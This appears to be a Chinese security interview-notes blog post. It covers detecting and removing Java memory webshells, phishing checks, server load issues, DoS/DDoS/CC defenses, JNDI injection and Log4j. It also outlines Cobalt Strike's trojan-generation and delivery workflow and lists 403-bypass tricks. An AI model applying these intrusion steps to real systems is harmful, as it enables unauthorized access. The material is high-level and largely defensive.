  1. 追踪日志文件:如果系统已经被攻击,应该首先检查系统的日志文件,查找异常的请求或响应内容,并结合其他的信息确定是否存在Java内存马。
  2. 检查网络流量:可以使用Wireshark等网络抓包工具来监视服务器的网络流量,并分析报文中的数据内容,查找是否存在异常的Java序列化数据。
  3. 检查反序列化漏洞:Java内存马利用了Java反序列化漏洞,因此我们可以使用一些反序列化漏洞扫描工具(如 ysoserial)来检测系统是否受到这类漏洞的影响,并及时修补漏洞。
  4. 检查系统进程:Java内存马通常会在目标服务器上启动一个新的进程来执行恶意代码,因此可以通过检查系统进程列表,查找是否存在不明确的、异常的进程。
  5. 安装安全软件:为了更好地保障系统的安全性,可以安装一些专业的安全软件,如杀毒软件、入侵检测系统(IDS)等,并定期进行扫描和审计。

如何判断是否是钓鱼邮件

查看发件人的地址结合域名反查 判断是否是安全的链接 鼠标放上去检查是否是合法的链接

一般钓鱼邮件的内容比较紧急

goole 的password alert可用于拦截钓鱼邮件

遇到可疑的.exe文件

最好不要直接运行 可以上传的沙箱里面去判断这个文件是否有害是否有去连接其他的ip 或者放到安全的虚拟机里面运行

服务器资源异常

  1. 检查服务器负载情况:使用系统监视工具(如top、htop或glances等)来检查服务器的负载状况。如果负载过高,请考虑升级服务器资源或调整应用程序配置。
  2. 清理硬盘空间:如果硬盘空间不足,可以删除不必要的文件和日志,或者将它们移到其他存储设备上。
  3. 优化数据库:如果您的应用程序使用了数据库,可以尝试优化数据库以提高性能和减少资源使用。
  4. 减少并发连接数:如果您的应用程序支持并发连接,可以考虑限制同时连接的数量,从而减轻服务器压力。
  5. 升级服务器硬件:如果您的服务器硬件过时,升级服务器硬件可能是一个好选择。

CS渗透测试工具

CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。

功能

CobaltStrike 集成了端口转发,服务扫描,自动化溢出,多模式端口监听,windows exe 木 马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击等功能。

使用

一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。
 

DOS、DDOS、CC 的区别

防御:

限制最大的流量

防火墙关闭不必要的端口

对ip拉入黑名单

利用负载均衡等设备

DOS 中文名称拒绝服务,顾名思义,就是使服务器无法响应用户的请求。最基本的 DOS 攻击手段,就是利用大量的请求占用服务器资源,从而导致服务器无法响应客户端。

DDOS 中文名称分布式拒绝服务,是 DOS 的一种延伸,可能会利用到互联网的开放性,控制大量的主机来对某一个目标进行攻击,耗尽目标服务器的带宽或者处理器资源等。

CC 是 DDOS 众多攻击手段中的一种,也是最常见的一种针对网站的攻击方式。主要是针对 Web 服务第七层协议发送攻击,通过端口扫描等途径在互联网上搜索大量的匿名代理,通过匿名代理对目标服务器发送正常的HTTP请求。主要特点是:持续性强、强度高、难防范(因为都是真实有效请求),难溯源。

403 Forbidden 如何渗透?

  1. 修改 Host
  2. 修改 Referer
  3. 使用代理 IP
  4. 扩展名绕过,对路径增加 ./, ../ 等

JNDI 注入的原理

JNDI 是 Java Naming and Directory Interface, Java 命名目录接口 的缩写,是 Java 提供的标准命名和目录服务接口,提供了统一的可以访问各种命名目录服务(如:LDAP、RMI 等)的方式。

JNDI 注入,就是利用应用程序中的 JNDI 服务,将恶意代码注入到应用程序中。

比如著名的 Log4J 漏洞,其根本原理就是 LDAP 服务中存储外部恶意资源,JNDI 去访问 LDAP 时被 LDAP 外部恶意代码注入。

Java 内存马的原理

内存马是无文件 webshell 中最常见的攻击手段之一。其基本原理就是当客户端发起请求后,服务端中如 Listener、Filter、Servlet等组件会根据请求过程做如监听、过滤、处理等操作,内存马就是利用利用这个请求过程在内存中修改已有组件或者动态注册一个新的组件,插入恶意 shell 来达到控制服务器的目的。

内存马如何查杀

内存马的查杀的流程通常如下:

检查 web 日志,查看是否有可疑流量。

检查中间件日志与中间件版本,排查是否是中间件漏洞导致的内存马攻击。

检查其他流量日志。

内存马的流量特征主要有两点:

可能会有大量的 url 相同但 params 不同且响应 200 的请求(Java Filter 和 Listener 内存马)

可能会有类似于 webshell 流量特征,但返回 200 的 url 目录下无此文件

常用的内存马查杀工具:

arthas

java-memshell-scanner

FindShell

  • 18
    点赞
  • 59
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值